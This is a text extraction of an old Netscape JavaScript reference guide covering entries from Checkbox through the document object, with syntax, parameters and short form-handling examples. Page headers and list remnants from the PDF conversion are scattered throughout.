To define a checkbox, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="checkbox" NAME="checkboxName" VALUE="checkboxValue" [CHECKED] [onBlur="handlerText"] [onClick="handlerText"] [onFocus="handlerText"]> textToDisplay

HTML attributes
NAME="checkboxName" specifies the name of the Checkbox object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="checkboxValue" specifies a value that is returned to the server when the checkbox is selected and the form is submitted. This defaults to "on." You can access this value using the value property. CHECKED specifies that the checkbox is displayed as checked. You can access this value using the defaultChecked property. textToDisplay specifies the label to display beside the checkbox.

Syntax
To use a Checkbox object's properties and methods: 1. 2. 3. 4. checkboxName.propertyName checkboxName.methodName(parameters) formName.elements[index].propertyName formName.elements[index].methodName(parameters)

Parameters
checkboxName is the value of the NAME attribute of a Checkbox object. formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Checkbox object on a form or the name of a Checkbox object as specified by the NAME attribute.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (42 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property; added onBlur and onFocus event handlers; added blur and focus methods

Description
A Checkbox object on a form looks as follows: Overnight delivery A Checkbox object is a form element and must be defined within a <FORM> tag. Use the checked property to specify whether the checkbox is currently checked. Use the defaultChecked property to specify whether the checkbox is checked when the form is loaded or reset.

Properties
The Checkbox object has the following properties:

Property checked

Description Boolean property that reflects the current state of the checkbox: true for checked or false for unchecked. Lets you programmatically check a checkbox

defaultChecked Boolean property that reflects the CHECKED attribute: true if checkbox is checked by default, false otherwise. form property name type value Specifies the form containing the Checkbox object Reflects the NAME attribute Reflects the TYPE attribute Reflects the VALUE attribute

Methods
The Checkbox object has the following methods:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (43 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

q q q

blur click eval

q q q

focus toString valueOf

Event handlers
q q q

onBlur onClick onFocus

Examples
Example 1. The following example displays a group of four checkboxes that all appear checked by default: <B>Specify <BR><INPUT <BR><INPUT <BR><INPUT <BR><INPUT your music preferences (check all that apply):</B> TYPE="checkbox" NAME="musicpref_rnb" CHECKED> R&B TYPE="checkbox" NAME="musicpref_jazz" CHECKED> Jazz TYPE="checkbox" NAME="musicpref_blues" CHECKED> Blues TYPE="checkbox" NAME="musicpref_newage" CHECKED> New Age

Example 2. The following example contains a form with three text boxes and one checkbox. The user can use the checkbox to choose whether the text fields are converted to uppercase. Each text field has an onChange event handler that converts the field value to uppercase if the checkbox is checked. The checkbox has an onClick event handler that converts all fields to uppercase when the user checks the checkbox. <HTML> <HEAD> <TITLE>Checkbox object example</TITLE> </HEAD> <SCRIPT> function convertField(field) { if (document.form1.convertUpper.checked) { field.value = field.value.toUpperCase()} } function convertAllFields() { document.form1.lastName.value = document.form1.lastName.value.toUpperCase() document.form1.firstName.value = document.form1.firstName.value.toUpperCase() document.form1.cityName.value = document.form1.cityName.value.toUpperCase() } </SCRIPT> <BODY> <FORM NAME="form1"> <B>Last name:</B> <INPUT TYPE="text" NAME="lastName" SIZE=20 onChange="convertField(this)"> <BR><B>First name:</B> <INPUT TYPE="text" NAME="firstName" SIZE=20 onChange="convertField(this)"> <BR><B>City:</B>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (44 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

<INPUT TYPE="text" NAME="cityName" SIZE=20 onChange="convertField(this)"> <P><INPUT TYPE="checkBox" NAME="convertUpper" onClick="if (this.checked) {convertAllFields()}" > Convert fields to upper case </FORM> </BODY> </HTML>

See also
Form object, Radio objects

checked
Property. A Boolean value specifying the selection state of a Checkbox object or radio button.

Syntax
1. checkboxName.checked 2. radioName[index].checked

Parameters
checkboxName is either the value of the NAME attribute of a Checkbox object or an element in the elements array. radioName is the value of the NAME attribute of a Radio object. index is an integer representing a radio button in a Radio object.

Property of
Checkbox, Radio

Implemented in
Navigator 2.0

Tainted?
Yes

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (45 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Description
If a checkbox or radio button is selected, the value of its checked property is true; otherwise, it is false. You can set the checked property at any time. The display of the checkbox or radio button updates immediately when you set the checked property.

Examples
The following example examines an array of radio buttons called musicType on the musicForm form to determine which button is selected. The VALUE attribute of the selected button is assigned to the checkedButton variable. function stateChecker() { var checkedButton = "" for (var i in document.musicForm.musicType) { if (document.musicForm.musicType[i].checked=="1") { checkedButton=document.musicForm.musicType[i].value } } }

See also
defaultChecked property

clearTimeout
Method. Cancels a timeout that was set with the setTimeout method.

Syntax
clearTimeout(timeoutID)

Parameters
timeoutID is a timeout setting that was returned by a previous call to the setTimeout method.

Method of
Frame object, window object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (46 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Implemented in
Navigator 2.0

Description
See the description for the setTimeout method.

Examples
See the examples for the setTimeout method.

See also
setTimeout method

click
Method. Simulates a mouse-click on the calling form element.

Syntax
1. buttonName.click() 2. radioName[index].click() 3. checkboxName.click()

Parameters
buttonName is either the value of the NAME attribute of a Button, Reset, or Submit object or an element in the elements array. radioName is the value of the NAME attribute of a Radio object or an element in the elements array. index is an integer representing a radio button in a Radio object. checkboxName is either the value of the NAME attribute of a Checkbox object or an element in the elements array.

Method of
Button, Checkbox, Radio, Reset object, Submit object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (47 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Implemented in
Navigator 2.0

Description
The effect of the click method varies according to the calling element:
q q q

For button, reset, and submit, performs the same action as clicking the button. For a radio, selects a radio button. For a checkbox, checks the checkbox and sets its value to "on."

The click method does not trigger an object's onClick event handler.

Examples
The following example toggles the selection status of the first radio button in the musicType Radio object on the musicForm form: document.musicForm.musicType[0].click() The following example toggles the selection status of the newAge checkbox on the musicForm form: document.musicForm.newAge.click()

close (document object)


Method. Closes an output stream and forces data sent to layout to display.

Syntax
document.close()

Method of
document

Implemented in
Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (48 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Description
The close method closes a stream opened with the document.open() method. If the stream was opened to layout, the close method forces the content of the stream to display. Font style tags, such as <BIG> and <CENTER>, automatically flush a layout stream. The close method also stops the "meteor shower" in the Netscape icon and displays "Document: Done" in the status bar.

Examples
The following function calls document.close() to close a stream that was opened with document.open(). The document.close() method forces the content of the stream to display in the window. function windowWriter1() { var myString = "Hello, world!" msgWindow.document.open() msgWindow.document.write(myString + "<P>") msgWindow.document.close() }

See also
open (document object), write, writeln methods

close (window object)


Method. Closes the specified window.

Syntax
windowReference.close()

Parameters
windowReference is a valid way of referring to a window, as described in the window object.

Method of
window object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (49 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Implemented in
q q

Navigator 2.0 Navigator 3.0: closes only windows opened by JavaScript. In previous release, the close method closed any window.

Description
The close method closes the specified window. If you call close without specifying a windowReference, JavaScript closes the current window. The close method closes only windows opened by JavaScript using the open method. If you attempt to close any other window, a confirm is generated, which lets the user choose whether the window closes. This is a security feature to prevent "mail bombs" containing self.close(). However, if the window has only one document (the current one) in its session history, the close is allowed without any confirm. This is a special case for one-off windows that need to open other windows and then dispose of themselves. In event handlers, you must specify window.close() instead of simply using close(). Due to the scoping of static objects in JavaScript, a call to close() without specifying an object name is equivalent to document.close().

Examples
Any of the following examples closes the current window: window.close() self.close() close() The following example closes the messageWin window: messageWin.close() This example assumes that the window was opened in a manner similar to the following: messageWin=window.open("")

See also
closed property; open (window object) method

closed
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (50 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Property. Specifies whether a window is closed.

Syntax
[windowReference.]closed

Parameters
windowReference is a valid way of referring to a window, as described in the window object.

Property of
window object

Implemented in
Navigator 3.0

Tainted?
No

Description
The closed property is a boolean value that specifies whether a window has been closed. When a window closes, the window object that represents it continues to exist, and its closed property is set to true. Use closed to determine whether a window that you opened, and to which you still hold a reference (from window.open()'s return value), is still open. Once a window is closed, you should not attempt to manipulate it. closed is a read-only property.

Examples
Example 1. The following code opens a window, win1, then later checks to see if that window has been closed. A function is called depending on whether win1 is closed. win1=window.open('opener1.html','window1','width=300,height=300') ... if (win1.closed) function1() else function2()

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (51 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Example 2. The following code determines if the current window's opener window is still closed, and calls the appropriate function. if (window.opener.closed) function1() else function2()

See also
close (window object), open (window object) methods

complete
Property. A boolean value that indicates whether Navigator has completed its attempt to load an image.

Syntax
imageName.complete

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Tainted?
No

Description
complete is a read-only property.

Examples
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (52 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

The following example displays an image and three radio buttons. The user can click the radio buttons to choose which image is displayed. Clicking another button lets the user see the current value of the complete property. <B>Choose an image:</B> <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image1" CHECKED onClick="document.images[0].src='f15e.gif'">F-15 Eagle <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image2" onClick="document.images[0].src='f15e2.gif'">F-15 Eagle 2 <BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image3" onClick="document.images[0].src='ah64.gif'">AH-64 Apache <BR><INPUT TYPE="button" VALUE="Is the image completely loaded?" onClick="alert('The value of the complete property is ' + document.images[0].complete)"> <BR> <IMG NAME="aircraft" SRC="f15e.gif" ALIGN="left" VSPACE="10"><BR>

See also
lowsrc, src properties

confirm
Method. Displays a Confirm dialog box with the specified message and OK and Cancel buttons.

Syntax
confirm("message")

Parameters
message is any string or a property of an existing object.

Method of
window object

Implemented in
Navigator 2.0

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (53 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

A confirm dialog box looks as follows:


Click for sample confirm dialog box

Use the confirm method to ask the user to make a decision that requires either an OK or a Cancel. The message argument specifies a message that prompts the user for the decision. The confirm method returns true if the user chooses OK and false if the user chooses Cancel. Although confirm is a method of the window object, you do not need to specify a windowReference when you call it. For example, windowReference.confirm() is unnecessary. You cannot specify a title for a confirm dialog box, but you can use the open method to create your own "confirm" dialog. See open (window object).

Examples
This example uses the confirm method in the confirmCleanUp function to confirm that the user of an application really wants to quit. If the user chooses OK, the custom cleanUp function closes the application. function confirmCleanUp() { if (confirm("Are you sure you want to quit this application?")) { cleanUp() } } You can call the confirmCleanUp function in the onClick event handler of a form's pushbutton, as shown in the following example: <INPUT TYPE="button" VALUE="Quit" onClick="confirmCleanUp()">

See also
alert, prompt methods

constructor
Property. Specifies the function that creates an object prototype.

Syntax
objectType.constructor

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (54 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Parameters
objectType is the name of a constructor or function specifying an object type.

Property of
constructor is a property of any prototype object (see "Creating new objects").

Implemented in
Navigator 3.0

Tainted?
No

Description
Each prototype object has a constructor property that refers to the function that created the object.

Examples
The following example creates a prototype object, Tree and an object of that type, theTree. The example then displays the constructor property for the object theTree. function Tree(name) { this.name=name } theTree = new Tree("Redwood") document.writeln("<B>theTree.constructor is</B> " + theTree.constructor + "<P>") This example displays the following output: theTree.constructor is function Tree(name) { this.name = name; }

See also
prototype property; "Creating new objects"

cookie
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (55 of 59) [30/08/2003 9:34:12 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Property. String value of a cookie, which is a small piece of information stored by the Navigator in the cookies.txt file.

Syntax
document.cookie

Property of
document

Implemented in
Navigator 2.0

Tainted?
Yes

Description
Use string methods such as substring, charAt, indexOf, and lastIndexOf to determine the value stored in the cookie. See the Appendix D, "Netscape cookies" for a complete specification of the cookie syntax. You can set the cookie property at any time. The "expires=" component in the cookie file sets an expiration date for the cookie, so it persists beyond the current browser session. This date string is formatted as follows: Wdy, DD-Mon-YY HH:MM:SS GMT This format represents the following values:
q q q q q

Wdy is a string representing the full name of the day of the week. DD is an integer representing the day of the month. Mon is a string representing the three-character abbreviation of the month. YY is an integer representing the last two digits of the year. HH, MM, and SS are two-digit representations of hours, minutes, and seconds, respectively.

For example, a valid cookie expiration date is expires=Wednesday, 09-Nov-99 23:12:40 GMT The cookie date format is the same as the date returned by toGMTString, with the following exceptions:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (56 of 59) [30/08/2003 9:34:13 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

q q

Dashes are added between the day, month, and year. The year is a two-digit value for cookies.

Examples
The following function uses the cookie property to record a reminder for users of an application. The cookie expiration date is set to one day after the date of the reminder. function RecordReminder(time, expression) { // Record a cookie of the form "@<T>=<E>" to map // from <T> in milliseconds since the epoch, // returned by Date.getTime(), onto an encoded expression, // <E> (encoded to contain no white space, semicolon, // or comma characters) document.cookie = "@" + time + "=" + expression + ";" // set the cookie expiration time to one day // beyond the reminder time document.cookie += "expires=" + cookieDate(time + 24*60*60*1000) // cookieDate is a function that formats the date //according to the cookie spec }

See also
Hidden object

cos
Method. Returns the cosine of a number.

Syntax
Math.cos(number)

Parameters
number is a numeric expression representing the size of an angle in radians, or a property of an existing object.

Method of
Math

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (57 of 59) [30/08/2003 9:34:13 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Implemented in
Navigator 2.0

Description
The cos method returns a numeric value between -1 and one, which represents the cosine of the angle.

Examples
The following function returns the cosine of the variable x: function getCos(x) { return Math.cos(x) } If x equals Math.PI/2, getCos returns 6.123031769111886e-017; if x equals Math.PI, getCos returns -1.

See also
acos, asin, atan, atan2, sin, tan methods

current
Property. A string specifying the complete URL of the current history entry.

Syntax
history.current

Property of
history object

Implemented in
Navigator 3.0

Tainted?
Yes
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (58 of 59) [30/08/2003 9:34:13 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm

Description
The current property has a value only if data tainting is enabled; if data tainting is not enabled, current has no value. current is a read-only property.

Examples
The following example determines whether history.current contains the string "netscape.com". If it does, the function myFunction is called. if (history.current.indexOf("netscape.com") != -1) { myFunction(history.current) }

See also
next, previous properties; "Using data tainting for security"

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_a-c.htm (59 of 59) [30/08/2003 9:34:13 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

[Previous reference file]

Date
Object. Lets you work with dates and times.

Syntax
To create a Date object: 1. 2. 3. 4. dateObjectName dateObjectName dateObjectName dateObjectName = = = = new new new new Date() Date("month day, year hours:minutes:seconds") Date(year, month, day) Date(year, month, day, hours, minutes, seconds)

To use a Date object: 1. dateObjectName.propertyName 2. dateObjectName.methodName(parameters) Exceptions: The Date object's parse and UTC methods are static methods that you use as follows: Date.UTC(parameters) Date.parse(parameters)

Parameters
dateObjectName is either the name of a new object or a property of an existing object. When using Date properties and methods, dateObjectName is either the name of an existing Date object or a property of an existing object. month, day, year, hours, minutes, and seconds are string values for form 2 of the syntax. For forms 3 and 4, they are integer values. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
None

Implemented in
q q

Navigator 2.0 Navigator 3.0: added prototype property

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (1 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Description
The Date object is a built-in JavaScript object. Form 1 of the syntax creates today's date and time. If you omit hours, minutes, or seconds from form 2 or 4 of the syntax, the value will be set to zero. The way JavaScript handles dates is very similar to the way Java handles dates: both languages have many of the same date methods, and both store dates internally as the number of milliseconds since January 1, 1970 00:00:00. Dates prior to 1970 are not allowed.

Properties
The Date object has the following properties:

Property Description prototype Lets you add a properties to a Date object.

Methods
The Date object has the following methods:

q q q q q q q q q q q q

eval getDate getDay getHours getMinutes getMonth getSeconds getTime getTimezoneOffset getYear parse setDate

q q q q q q q q q q q

setHours setMinutes setMonth setSeconds setTime setYear toGMTString toLocaleString toString UTC valueOf

Event handlers
None.

Examples
The following examples show several ways to assign dates: today = new Date() birthday = new Date("December 17, 1995 03:24:00")
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (2 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

birthday = new Date(95,12,17) birthday = new Date(95,12,17,3,24,0)

defaultChecked
Property. A Boolean value indicating the default selection state of a checkbox or radio button.

Syntax
1. checkboxName.defaultChecked 2. radioName[index].defaultChecked

Parameters
checkboxName is either the value of the NAME attribute of a Checkbox object or an element in the elements array. radioName is the value of the NAME attribute of a Radio object. index is an integer representing a radio button in a Radio object.

Property of
Checkbox, Radio

Implemented in
Navigator 2.0

Tainted?
Yes

Description
If a checkbox or radio button is selected by default, the value of the defaultChecked property is true; otherwise, it is false. defaultChecked initially reflects whether the CHECKED attribute is used within an <INPUT> tag; however, setting defaultChecked overrides the CHECKED attribute. You can set the defaultChecked property at any time. The display of the checkbox or radio button does not update when you set the defaultChecked property, only when you set the checked property.

Examples

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (3 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

The following example resets an array of radio buttons called musicType on the musicForm form to the default selection state: function radioResetter() { var i="" for (i in document.musicForm.musicType) { if (document.musicForm.musicType[i].defaultChecked==true) { document.musicForm.musicType[i].checked=true } } }

See also
checked property

defaultSelected
Property. A Boolean value indicating the default selection state of an option in a Select object.

Syntax
selectName.options[index].defaultSelected optionName.defaultSelected

Parameters
selectName is either the value of the NAME attribute of a Select object or an element in the elements array. index is an integer representing an option in a Select object. optionName is the name of a Select object option created using the Option() constructor.

Property of
Option object (see Select object), options array (see Select object)

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Option object

Tainted?
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (4 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Yes

Description
If an option in a Select object is selected by default, the value of the defaultSelected property is true; otherwise, it is false. defaultSelected initially reflects whether the SELECTED attribute is used within an <OPTION> tag; however, setting defaultSelected overrides the SELECTED attribute. You can set the defaultSelected property at any time. The display of the Select object does not update when you set the defaultSelected property, only when you set the selected or selectedIndex properties. A Select object created without the MULTIPLE attribute can have only one option selected by default. When you set defaultSelected in such an object, any previous default selections, including defaults set with the SELECTED attribute, are cleared. If you set defaultSelected in a Select object created with the MULTIPLE attribute, previous default selections are not affected.

Examples
In the following example, the restoreDefault function returns the musicType Select object to its default state. The for loop uses the options array to evaluate every option in the Select object. The if statement sets the selected property if defaultSelected is true. function restoreDefault() { for (var i = 0; i < document.musicForm.musicType.length; i++) { if (document.musicForm.musicType.options[i].defaultSelected == true) { document.musicForm.musicType.options[i].selected=true } } } The previous example assumes that the Select object is similar to the following: <SELECT NAME="musicType"> <OPTION SELECTED> R&B <OPTION> Jazz <OPTION> Blues <OPTION> New Age </SELECT>

See also
index, selected, selectedIndex properties

defaultStatus
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (5 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Property. The default message displayed in the status bar at the bottom of the window.

Syntax
windowReference.defaultStatus

Parameters
windowReference is a valid way of referring to a window, as described in the window object.

Property of
window object

Implemented in
Navigator 2.0

Tainted?
Yes

Description
The defaultStatus message appears when nothing else is in the status bar. Do not confuse the defaultStatus property with the status property. The status property reflects a priority or transient message in the status bar, such as the message that appears when a mouseOver event occurs over an anchor. You can set the defaultStatus property at any time. You must return true if you want to set the defaultStatus property in the onMouseOut or onMouseOver event handlers.

Examples
In the following example, the statusSetter function sets both the status and defaultStatus properties in an onMouseOver event handler: function statusSetter() { window.defaultStatus = "Click the link for the Netscape home page" window.status = "Netscape home page" } <A HREF="http://home.netscape.com" onMouseOver = "statusSetter(); return true">Netscape</A> In the previous example, notice that the onMouseOver event handler returns a value of true. You must return true to set status or defaultStatus in an event handler.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (6 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

See also
status property

defaultValue
Property. A string indicating the default value of a Password, Text, or Textarea object.

Syntax
1. passwordName.defaultValue 2. textName.defaultValue 3. textareaName.defaultValue

Parameters
passwordName is either the value of the NAME attribute of a Password object or an element in the elements array. textName is either the value of the NAME attribute of a Text object or an element in the elements array. textareaName is either the value of the NAME attribute of a Textarea object or an element in the elements array.

Property of
Password object, Text object, Textarea object

Implemented in
Navigator 2.0

Tainted?
Yes

Description
The initial value of defaultValue differs for each object:
q q q

For Text objects, it initially reflects the value of the VALUE attribute. For Textarea objects, it initially reflects the value specified between the <TEXTAREA> and </TEXTAREA> tags. For Password objects, it initially is null (for security reasons), regardless of the value of the VALUE attribute.

Setting defaultValue programmatically overrides the initial setting. If you programmatically set defaultValue for the
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (7 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Password object and then evaluate it, JavaScript returns the current value. You can set the defaultValue property at any time. The display of the related object does not update when you set the defaultValue property, only when you set the value property.

Examples
The following function evaluates the defaultValue property of objects on the surfCity form and displays the values in the msgWindow window: function defaultGetter() { msgWindow=window.open("") msgWindow.document.write("hidden.defaultValue is " + document.surfCity.hiddenObj.defaultValue + "<BR>") msgWindow.document.write("password.defaultValue is " + document.surfCity.passwordObj.defaultValue + "<BR>") msgWindow.document.write("text.defaultValue is " + document.surfCity.textObj.defaultValue + "<BR>") msgWindow.document.write("textarea.defaultValue is " + document.surfCity.textareaObj.defaultValue + "<BR>") msgWindow.document.close() }

See also
value property

description
Property. A description of a MIME type or plug-in.

Syntax
1. navigator.mimeTypes[index1].description 2. navigator.plugins[index2].description

Parameters
index1 is either an integer representing a MIME type supported by the client or a string containing the type of a MimeType object (from the type property). index2 is either an integer representing a plug-in installed on the client or a string containing the name of a Plugin object (from the name property).

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (8 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Property of
q q

MimeType Plugin

Implemented in
Navigator 3.0

Tainted?
No

Description
For MimeType objects, the description property is a description of the content and encoding for the MIME data type. For Plugin objects, the description property is a description of the plug-in. The description is supplied by the plug-in itself. description is a read-only property.

Examples
See the examples for the MimeType and Plugin objects.

See also
For MimeType objects: enabledPlugin, type, suffixes properties For Plugin objects: filename, length, name properties

document
Object. Contains information on the current document, and provides methods for displaying HTML output to the user.

HTML syntax
To define a document object, use standard HTML syntax with the addition of JavaScript event handlers: <BODY BACKGROUND="backgroundImage" BGCOLOR="backgroundColor" TEXT="foregroundColor"
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (9 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

LINK="unfollowedLinkColor" ALINK="activatedLinkColor" VLINK="followedLinkColor" [onBlur="handlerText"] [onFocus="handlerText"] [onLoad="handlerText"] [onUnload="handlerText"]> </BODY>

HTML attributes
BACKGROUND specifies an image that fills the background of the document. BGCOLOR, TEXT, LINK, ALINK, and VLINK are color specifications expressed as a hexadecimal RGB triplet (in the format "rrggbb" or "#rrggbb") or as one of the string literals listed in "Color values".

Syntax
To use a document object's properties and methods: 1. document.propertyName 2. document.methodName(parameters)

Parameters
propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added onBlur and onFocus syntax; added applets, domain, embeds, and images properties; added Applet, Area, Image, and Plugin objects as properties

Description
An HTML document consists of <HEAD> and <BODY> tags. The <HEAD> tag includes information on the document's title and base (the absolute URL base to be used for relative URL links in the document). The <BODY> tag encloses the body of a document, which is defined by the current URL. The entire body of the document (all other HTML elements for the document) goes within the <BODY> tag. You can load a new document by using the window.location object.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (10 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

You can clear the document pane (and remove the text, form elements, and so on so they do not redisplay) by using document.close(); document.open(); document.write(). You can omit the document.open() call if you are writing text or HTML, since write does an implicit open of that mime type if the document stream is closed. You can reference the anchors, forms, and links of a document by using the anchors, forms, and links arrays. These arrays contain an entry for each anchor, form, or link in a document. Do not use location as a property of the document object; use the document.URL property instead. The document.location property, which is a synonym for document.URL, will be removed in a future release.

Properties
The document object has the following properties:

Property alinkColor anchors applets bgColor cookie domain

Description Reflects the ALINK attribute An array reflecting all the anchors in a document An array reflecting all the applets in a document Reflects the BGCOLOR attribute Specifies a cookie Specifies the domain name of the server that served a document

embeds array An array reflecting all the plugins in a document fgColor forms images Reflects the TEXT attribute An array reflecting all the forms in a document An array reflecting all the images in a document

lastModified Reflects the date a document was last modified linkColor links referrer title URL vlinkColor Reflects the LINK attribute An array reflecting all the links in a document Reflects the URL of the calling document Reflects the contents of the <TITLE> tag Reflects the complete URL of a document Reflects the VLINK attribute

The following objects are also properties of the document object:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (11 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm
q q q

Anchor object Applet Area (see Link object)

q q q

Form object Image Link object

Methods
The document object has the following methods:

q q q q

close (document object) eval open (document object) toString

q q q

valueOf write writeln

Event handlers
None. The onBlur, onFocus, onLoad, and onUnload event handlers are specified in the <BODY> tag but are actually event handlers for the window object.

Examples
The following example creates two frames, each with one document. The document in the first frame contains links to anchors in the document of the second frame. Each document defines its colors. doc0.html, which defines the frames, contains the following code: <HTML> <HEAD> <TITLE>Document object example</TITLE> </HEAD> <FRAMESET COLS="30%,70%"> <FRAME SRC="doc1.html" NAME="frame1"> <FRAME SRC="doc2.html" NAME="frame2"> </FRAMESET> </HTML> doc1.html, which defines the content for the first frame, contains the following code: <HTML> <SCRIPT> </SCRIPT> <BODY BGCOLOR="antiquewhite"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (12 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

